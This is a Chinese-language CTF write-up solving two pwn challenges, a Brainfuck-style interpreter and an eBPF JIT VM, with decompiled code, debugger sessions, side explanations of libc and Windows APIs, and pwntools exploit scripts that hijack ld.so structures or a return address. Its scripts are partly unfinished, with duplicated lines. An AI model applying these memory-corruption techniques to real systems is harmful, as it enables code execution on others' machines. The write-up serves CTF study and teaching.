文章目录
- blindless
- IDA结构体命名
- 逆向
- 漏洞
- 方法1
- 方法2
- exp
- jit
- strtol(v9, &endptr, 16)
- __errno_location和__throw_out_of_range
- 详细解释:
- __errno_location相关具体操作
- 详细分析
- 为什么要执行上述代码?
- 示例代码段的解释
- _acrt_iob_func
- `SetProcessMitigationPolicy`
- 函数原型
- 参数解释
- 返回值
- 具体策略解释
- 代码中的具体含义
- eBPF虚拟机简单工作原理
- 漏洞
- exp
blindless
https://akaieurus.github.io/2023/08/23/house-of-blindness/
保护全开
IDA结构体命名
这里命名结构体是发现个问题,由于原始是char [5],如果我命名为分开的一个字符和一个字符数组,它们还是挨着的
但如果是一个字符和一个四字节类型数据,就不会挨着了
逆向
int __cdecl executeBrainfuck(char *code)
{
struct instruction c; // [rsp+13h] [rbp-5h]
HIBYTE(c.current_op_ptr) = 0;
*(_DWORD *)&c.op = (unsigned __int8)*code;
while ( c.current_op_ptr <= 255 )
{
if ( c.op == 'q' )
return 0;
if ( c.op <= 'q' )
{
if ( c.op == '@' )
{
data_ptr += *(unsigned int *)&code[c.current_op_ptr + 1];
c.current_op_ptr += 5;
}
else if ( c.op <= '@' )
{
if ( c.op == '>' )
{
++data_ptr;
++c.current_op_ptr;
}
else if ( c.op <= '>' )
{
if ( c.op == '+' )
{
data_ptr += 8;
++c.current_op_ptr;
}
else if ( c.op == '.' )
{
*data_ptr = code[c.current_op_ptr + 1];
c.current_op_ptr += 2;
}
}
}
}
c.op = code[c.current_op_ptr];
}
return 0;
}
一个简化版的 Brainfuck 解释器实现。Brainfuck 是一种极简的编程语言,只有 8 个指令。这个函数 executeBrainfuck
接受一个字符串作为输入,这个字符串包含 Brainfuck 代码。以下是对代码的解释:
-
函数使用一个结构体
instruction
来跟踪当前指令和参数。 -
主循环遍历输入的代码字符串,每次处理一个指令。
-
支持的指令有:
- ‘q’: 退出程序
- ‘@’: 将数据指针移动指定的偏移量
- ‘>’: 将数据指针向右移动一位
- ‘+’: 将当前数据单元的值增加 8
- ‘.’: 将下一个字符的 ASCII 值写入当前数据单元
-
每个指令执行后,指令指针
c.arg
会相应地移动。 -
循环继续,直到遇到 ‘q’ 指令或
c.arg
超过 255。
漏洞
- data_ptr可以向下溢出(也可以向上溢出应该,不过要先整数溢出,由于是八字节的,最大能加
unsigned int
,由于codesize有限,远远加不到整数溢出)
然后存在一个对于data_ptr任意高地址堆写原语*data_ptr = code[c.current_op_ptr + 1];
由于没有读,然后给了后门,可以写某个函数指针为后面地址
然后发现它给libc使用的时候发现libc基地址和ld基地址之间的相对偏移固定。。使用libc2.35发现不会不知道为啥
如果相对偏移固定的话,datasize控制0x200000分配到libc地址前面固定偏移处即可,然后修改data_ptr到ld,再改ld里的
方法1
直接写_rtld_global内的_dl_rtld_lock_recursive
或者_dl_rtld_unlock_recursive
为低三个字节为onegadget,爆破
https://www.cnblogs.com/JmpCliff/articles/17647402.html
方法2
劫持fini,改l->l_info[DT_FINI] (相对link_map 0xa8)
使得对应的偏移信息+pie基地址=后面地址,不改pie基地址信息
因为l->l_info[DT_FINI]是一个pie地址,我们可以把它改成含有后面偏移地址(backdoor的偏移)的地址-8,由于要偏移超过12位,所以还要爆破4位
main 0x559bf8bf6084 0x1209
[13] 0x559bf8bf3558->0x559bf8bf3565 at 0x00001558: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
pwndbg> p/x 0x559bf8bf6084 -0x559bf8bf3558
$3 = 0x2b2c
exp
from pwn import *
p=process("./main")
p.sendlineafter(b"Pls input the data size",str(0x100000))
p.sendlineafter(b"Pls input the code size",str(0x100))
gdb.attach(p)
pause()
def address_write_code(offset,content):
code=b"\x40"+p32(offset)
code=code+b"\x2e"+content
return code
while True:
p=process("./main")
payload=address_write_code(0x324228,b"\x7c")
payload=payload+address_write_code(0x1,b"\x20")
payload=payload+b"q"
p.sendlineafter(b"Pls input your code",payload)
data = p.recvuntil('}', timeout=1)
print(data)
p.close()
jit
jit-pwn_
WM CTF 2023 pwn
2023 西湖论剑初赛 pwn-jit
WMCTF 2023 Writeup
PWN|西湖论剑·2022中国杭州网络安全技能大赛初赛官方Write Up
Unofficial eBPF spec
保护全开
strtol(v9, &endptr, 16)
- v9 指向的字符串被解释为一个十六进制(基数为16)的数,并转换为 long 类型的值。
指示转换结束的位置: - &endptr 是一个指向字符指针的指针。strtol 会更新 endptr,使其指向 v9 中第一个不是有效数字字符的位置。
例如,如果 v9 是 “1A3Fxyz”,转换结束后 *endptr 将指向 ‘x’,因为 ‘x’ 不是有效的十六进制字符。
__errno_location和__throw_out_of_range
v8 = __errno_location();
……
v10 = v8;
……
if ( *v10 == 0x22 || (unsigned __int64)(convert_bytes + 0x80000000LL) > 0xFFFFFFFF )
std::__throw_out_of_range("stoi");
详细解释:
-
v8 = __errno_location();
:__errno_location()
是一个函数,返回一个指向线程局部存储(Thread-Local Storage, TLS)中errno
变量的指针。errno
是一个全局变量,用于指示上一个函数调用的错误状态。不同线程有各自独立的errno
,__errno_location()
可以在多线程环境中安全地获取当前线程的errno
位置。
-
if ( *v10 == 0x22 || (unsigned __int64)(convert_bytes + 0x80000000LL) > 0xFFFFFFFF )
:- 这行代码包含一个
if
条件检查,其中有两个条件:*v10 == 0x22
:*v10
解引用指针v10
,获取errno
的值。0x22
是十六进制表示,等于十进制的34
。通常,34
表示ERANGE
错误,表示数值超出范围。
(unsigned __int64)(convert_bytes + 0x80000000LL) > 0xFFFFFFFF
:convert_bytes
是一个变量。假设它是一个整数值。0x80000000LL
是一个十六进制常量,表示2147483648
(是一个long long
类型的值)。- 将
convert_bytes
加上0x80000000LL
后,将结果转换为无符号的__int64
类型。 - 检查结果是否大于
0xFFFFFFFF
(即4294967295
),这是unsigned int
类型的最大值。
- 这行代码包含一个
-
std::__throw_out_of_range("stoi");
:- 如果上述
if
条件中的任何一个为真,则会调用std::__throw_out_of_range("stoi");
。 std::__throw_out_of_range
是一个C++标准库函数,用于抛出一个std::out_of_range
异常,表示数值超出允许的范围。"stoi"
是异常消息,表明错误发生在将字符串转换为整数(stoi
)的过程中。
- 如果上述
__errno_location相关具体操作
详细分析
-
保存原始的
errno
值:v8 = __errno_location();
__errno_location()
返回一个指向errno
的指针,并将其赋给v8
。此时v8
是一个指向当前线程的errno
变量的指针。 -
准备保存原始
errno
值:v10 = v8;
将
v8
的值赋给v10
,使v10
也指向errno
。 -
保存低32位的
errno
值:LODWORD(v8) = *v8;
LODWORD
通常是一个宏或内联函数,用于获取一个long
或long long
值的低32位。在这里,它将*v8
(即当前errno
的值)赋给v8
的低32位。 -
重置
errno
:*v10 = 0;
将
errno
设置为0
,以便在调用strtol
时可以检测到新的错误。 -
保存原始
errno
值:v17 = (int)v8;
将
v8
(原始errno
的低32位)转换为int
并赋值给v17
。此时,v17
保存了调用strtol
之前的errno
值。
为什么要执行上述代码?
-
检测并处理
strtol
的错误:
通过将errno
设置为0
,可以在调用strtol
后检测是否产生了新的错误。如果strtol
过程中出现错误,errno
将被设置为适当的错误代码。 -
恢复
errno
的原始值:
在检查完strtol
的结果并处理任何可能的错误之后,如果没有新错误发生,恢复errno
的原始值。这是为了确保在调用strtol
之前的errno
状态不会丢失。
示例代码段的解释
这段代码通过以下步骤实现了对 strtol
的调用和错误处理:
- 保存当前线程的
errno
值。 - 将
errno
设置为0
以便检测strtol
的新错误。 - 调用
strtol
将字符串转换为长整型数。 - 检查
strtol
的结果:- 如果未能转换任何字符,抛出
std::__throw_invalid_argument
异常。 - 如果转换结果超出范围或产生了
ERANGE
错误,抛出std::__throw_out_of_range
异常。
- 如果未能转换任何字符,抛出
- 恢复原始的
errno
值(如果没有新错误)。
通过这些步骤,代码确保了在调用 strtol
之后,能够正确检测并处理任何错误,同时不会丢失调用 strtol
之前的 errno
状态。
_acrt_iob_func
v18 = _acrt_iob_func(1u);
-
_acrt_iob_func(1u)
是一个函数调用,返回一个指向标准I/O流的指针。1u
是一个无符号整数,表示标准输出流stdout
。_acrt_iob_func
是微软C运行库(CRT)中的一个内部函数,用于获取标准I/O流(如stdin
、stdout
和stderr
)的指针。_acrt_iob_func(0u)
返回stdin
(标准输入)。_acrt_iob_func(1u)
返回stdout
(标准输出)。_acrt_iob_func(2u)
返回stderr
(标准错误)。
因此,
v18
现在指向stdout
。
setvbuf(v18, 0i64, 4, 0i64);
-
setvbuf
是一个标准C库函数,用于设置流的缓冲区模式。v18
是流指针,这里指向stdout
。0i64
是缓冲区指针,0i64
表示不指定缓冲区,使用系统默认的缓冲区。4
是缓冲模式,这里表示_IONBF
,即无缓冲模式。0i64
是缓冲区大小,在无缓冲模式下,这个参数被忽略。
SetProcessMitigationPolicy
SetProcessMitigationPolicy
是一个 Windows API 函数,用于设置进程的安全缓解策略(Mitigation Policy)。这些策略可以帮助减少某些类型的攻击面,例如缓冲区溢出、堆损坏等。通过设置这些策略,开发者可以增强进程的安全性。
函数原型
BOOL SetProcessMitigationPolicy(
PROCESS_MITIGATION_POLICY MitigationPolicy,
PVOID lpBuffer,
SIZE_T dwLength
);
参数解释
-
MitigationPolicy
(PROCESS_MITIGATION_POLICY
):- 这是一个枚举类型,指定要设置的缓解策略的类型。不同的策略对应不同的枚举值。
- 在你的代码中,
13i64
可能是一个硬编码的值,表示某种特定的缓解策略。通常,使用枚举类型来表示这个值会更清晰。例如,13
可能对应ProcessHeapTerminationOnCorruption
,但这需要参考具体的 Windows SDK 文档来确认。
-
lpBuffer
(PVOID
):- 这是一个指向缓冲区的指针,缓冲区中包含要应用的策略设置。缓冲区的内容和大小取决于
MitigationPolicy
参数指定的策略类型。 - 在你的代码中,
&v24
是一个指向v24
变量的指针。v24
的值为1
,表示启用某种特定的策略。
- 这是一个指向缓冲区的指针,缓冲区中包含要应用的策略设置。缓冲区的内容和大小取决于
-
dwLength
(SIZE_T
):- 这是缓冲区的大小,通常是
lpBuffer
指向的数据结构的大小。 - 在你的代码中,这个参数没有显式出现,可能是因为函数的调用方式简化了,或者是因为某些特定策略的缓冲区大小是固定的。
- 这是缓冲区的大小,通常是
返回值
- 如果函数成功,返回值为
TRUE
。 - 如果函数失败,返回值为
FALSE
。可以使用GetLastError
函数获取更多的错误信息。
具体策略解释
假设 13i64
对应的是 ProcessHeapTerminationOnCorruption
(需要确认),那么这个策略的作用是:
ProcessHeapTerminationOnCorruption
:- 当检测到堆损坏时,立即终止进程。这是一种防止攻击者利用堆损坏漏洞的缓解措施。
- 通过设置这个策略,开发者可以确保在堆损坏时,进程不会继续运行,从而减少潜在的安全风险。
代码中的具体含义
v24 = 1;
SetProcessMitigationPolicy(13i64, &v24);
v24 = 1;
:将v24
变量设置为1
,表示启用某种缓解策略。SetProcessMitigationPolicy(13i64, &v24);
:调用SetProcessMitigationPolicy
函数,设置进程的缓解策略。13i64
表示策略类型,&v24
是指向策略值的指针。
eBPF虚拟机简单工作原理
eBPF虚拟机的完整工作流程:
- 编写eBPF程序
- 编译成eBPF字节码
- 加载字节码到内核
- 验证字节码
- JIT编译
- 执行
例子:一个简单的eBPF程序,用于计数TCP SYN包
- 编写eBPF程序(使用C语言):
#include <linux/bpf.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
SEC("socket")
int count_tcp_syn(struct __sk_buff *skb) {
void *data = (void *)(long)skb->data;
void *data_end = (void *)(long)skb->data_end;
struct ethhdr *eth = data;
if ((void *)eth + sizeof(*eth) > data_end)
return 0;
struct iphdr *ip = (void *)eth + sizeof(*eth);
if ((void *)ip + sizeof(*ip) > data_end)
return 0;
if (ip->protocol != IPPROTO_TCP)
return 0;
struct tcphdr *tcp = (void *)ip + sizeof(*ip);
if ((void *)tcp + sizeof(*tcp) > data_end)
return 0;
if (tcp->syn) {
// 增加计数器
// 这里简化了,实际应该使用 BPF_MAP 来存储计数
__sync_fetch_and_add(&syn_count, 1);
}
return 0;
}
- 编译成eBPF字节码:
使用 LLVM 编译器将C代码编译成eBPF字节码:
clang -O2 -target bpf -c syn_counter.c -o syn_counter.o
- 加载字节码到内核:
使用 bpf() 系统调用或更高级的库(如libbpf)将字节码加载到内核。
- 验证字节码:
内核的eBPF验证器会检查字节码,确保:
- 没有无限循环
- 内存访问是安全的
- 不会访问未初始化的栈内存
- 程序会正常终止
- JIT编译:
验证通过后,eBPF JIT编译器会将字节码转换为本地机器码。例如,对于x86_64架构,可能会生成如下的机器码:
0: 55 push rbp
1: 48 89 e5 mov rbp,rsp
4: 48 83 ec 08 sub rsp,0x8
8: 48 8b 77 10 mov rsi,QWORD PTR [rdi+0x10]
c: 48 8b 47 18 mov rax,QWORD PTR [rdi+0x18]
...
- 执行:
当网络包到达时,内核会调用这段编译后的机器码。它会快速检查每个TCP包,如果是SYN包,就增加计数器。
漏洞
Unofficial eBPF spec 非官方 eBPF 规范
题目提示了是个eBPF的jit
逆了半天,根本逆不动,简直想死
本质上还是个虚拟机,只不过输入的是它的指令字节码然后最后转换成功x86机器码
根据逆向难度大则漏洞难度小的原则,直接测试哪些指令能用,然后看存在的缺陷
存在的case,但提前减4了,所以要加4才对应上各个opcode
0, 1, 3, 8, 0xB, 0x10, 0x11, 0x12, 0x13, 0x14, 0x18, 0x19, 0x1A, 0x1B, 0x20, 0x21, 0x22, 0x28, 0x29, 0x2A, 0x2B, 0x30, 0x31, 0x32, 0x33, 0x38, 0x39, 0x3A, 0x3B, 0x40, 0x41, 0x42, 0x43, 0x48, 0x49, 0x4A, 0x4B, 0x50, 0x51, 0x52, 0x53, 0x58, 0x59, 0x5A, 0x5B, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x80, 0x81, 0x83, 0x91, 0xA0, 0xA1, 0xA2, 0xA3, 0xA8, 0xA9, 0xAA, 0xAB, 0xB0, 0xB1, 0xB2, 0xB3, 0xB8, 0xB9, 0xBA, 0xBB, 0xC0, 0xC1, 0xC2, 0xC3, 0xC8, 0xC9, 0xCA, 0xCB, 0xD0, 0xD1, 0xD2
根据加载到vm结构体时存在的检查可以知道不同opcode对应得源寄存器和目的寄存器的范围,但由于源码比较炸裂,所以还是一个个试看看是哪些寄存器
if ( src > 0xAu )
goto LABEL_47;
if ( des > 9u )
goto LABEL_26;
然后断在运行转换为机器码的起始地址处下断点,前面和后面是固定的,只有add eax,0x11111111
是我的机器码
pwndbg> x/20i 0x76bd98df5000
0x76bd98df5000: push rbp
0x76bd98df5001: push rbx
0x76bd98df5002: push r13
0x76bd98df5004: push r14
0x76bd98df5006: push r15
0x76bd98df5008: mov rbp,rsp
0x76bd98df500b: sub rsp,0x200
0x76bd98df5012: add eax,0x11111111
0x76bd98df5018: add rsp,0x200
0x76bd98df501f: pop r15
0x76bd98df5021: pop r14
0x76bd98df5023: pop r13
0x76bd98df5025: pop rbx
0x76bd98df5026: pop rbp
0x76bd98df5027: ret
对于 if ( src > 0xAu ) goto LABEL_47; if ( des > 9u ) goto LABEL_26;
控制的指令,发现都是只能控制目的寄存器是10个,源寄存器是11个
0x735187874012: add eax,0x11111111
0x735187874018: add edi,0x11111111
0x73518787401e: add esi,0x11111111
0x735187874024: add edx,0x11111111
0x73518787402a: add r9d,0x11111111
0x735187874031: add r8d,0x11111111
0x735187874038: add ebx,0x11111111
0x73518787403e: add r13d,0x11111111
0x735187874045: add r14d,0x11111111
0x73518787404c: add r15d,0x11111111
0x735187874053: add eax,eax
0x735187874055: add eax,edi
0x735187874057: add eax,esi
0x735187874059: add eax,edx
0x73518787405b: add eax,r9d
0x73518787405e: add eax,r8d
0x735187874061: add eax,ebx
0x735187874063: add eax,r13d
0x735187874066: add eax,r14d
0x735187874069: add eax,r15d
0x73518787406c: add eax,ebp
对于case 0x18u:
case 0x18u:
if ( (src & 0xF) != 0 )
{
*cerr_buffer_ptr = printf((__int64)"invalid source register for LDDW at PC %d", index);
return 0xFFFFFFFFLL;
}
if ( src > 0xAu )
{
++index;
LABEL_47:
*cerr_buffer_ptr = printf((__int64)"invalid source register at PC %d", index);
return 0xFFFFFFFFLL;
}
if ( des <= 9u )
{
还有如下,这里目的寄存器范围多了个10,是rbp
case 0x62u:
case 0x63u:
case 0x6Au:
case 0x6Bu:
case 0x72u:
case 0x73u:
case 0x7Au:
case 0x7Bu:
if ( src > 0xAu )
goto LABEL_47;
if ( des > 9u && (program_bytes_ptr[index_1].low_des_high_src & 0xF) != 10 )
goto LABEL_26;
而对于修改内存的指令如下,可以对rbp相关偏移的内容复制,那么可以通过rbp修改返回地址
0x62 stw [dst+off], imm *(uint32_t *) (dst + off) = imm
0x6a sth [dst+off], imm *(uint16_t *) (dst + off) = imm
0x72 stb [dst+off], imm *(uint8_t *) (dst + off) = imm
0x7a stdw [dst+off], imm *(uint64_t *) (dst + off) = imm
0x63 stxw [dst+off], src *(uint32_t *) (dst + off) = src
0x6b stxh [dst+off], src *(uint16_t *) (dst + off) = src
0x73 stxb [dst+off], src *(uint8_t *) (dst + off) = src
0x7b stxdw [dst+off], src *(uint64_t *) (dst + off) = src
发现rax存在和
pwndbg> vmmap 0x7faaa5d7a000
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x7faaa5d6f000 0x7faaa5d7a000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
► 0x7faaa5d7a000 0x7faaa5d7b000 r-xp 1000 0 [anon_7faaa5d7a] +0x0
0x7faaa5d7b000 0x7faaa5d7d000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
一开始想直接将onegadget赋值给返回地址来修改,但没有有关libc地址残留,所以只能部分修改返回地址(libc地址形式的) 后来发现20.04的,相对偏移固定,只需将当前shellcode的返回地址改成onegadget,然后提前设置下寄存器就行
22:0110│+0f0 0x7fffcd753148 —▸ 0x7f7943fbe083 (__libc_start_main+243) ◂— mov edi, eax
exp
dockerfile中是ubuntu 20.04的,libc和ld的相对地址固定,shellcode位于ld之间,它和ld相对地址固定,所以能得到libc地址
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh=process("./jit")
gdb.attach(sh)
def instrut(opcode,dst,src,offset,imm):
instruction = opcode
instruction = instruction | dst << 8
instruction = instruction | src << 12
instruction = instruction | offset << 16
instruction = instruction | imm << 32
return binascii.hexlify(p64(instruction)).decode() # 返回十六进制字符串
# msb lsb
# +------------------------+----------------+----+----+--------+
# |immediate |offset |src |dst |opcode |
# +------------------------+----------------+----+----+--------+
payload=""
# for i in range(10):
# payload=payload+instrut(4,i,0,0,0x11111111)
# 0x04 add32 dst, imm dst += imm
# for i in range(11):
# payload=payload+instrut(0x0c,0,i,0,0x11111111)
# 0x0c add32 dst, src dst += src
# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL || rsi is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp
# 0x04 add32 dst, imm dst += imm add eax,
# 0x17 sub rsi, imm dst -= imm
# 0x17 sub rdx, imm dst -= imm
# 0x63 stxw [dst+off], src *(uint32_t *) (dst + off) = src
payload=payload=payload+instrut(0x17,0,0,0,0x583000)
payload=payload=payload+instrut(0x17,0,0,0,0x583000)
sh.sendlineafter(b'Program: ',payload )
sh.sendlineafter(b'Memory: ', "12345678") # memory nouse
sh.interactive()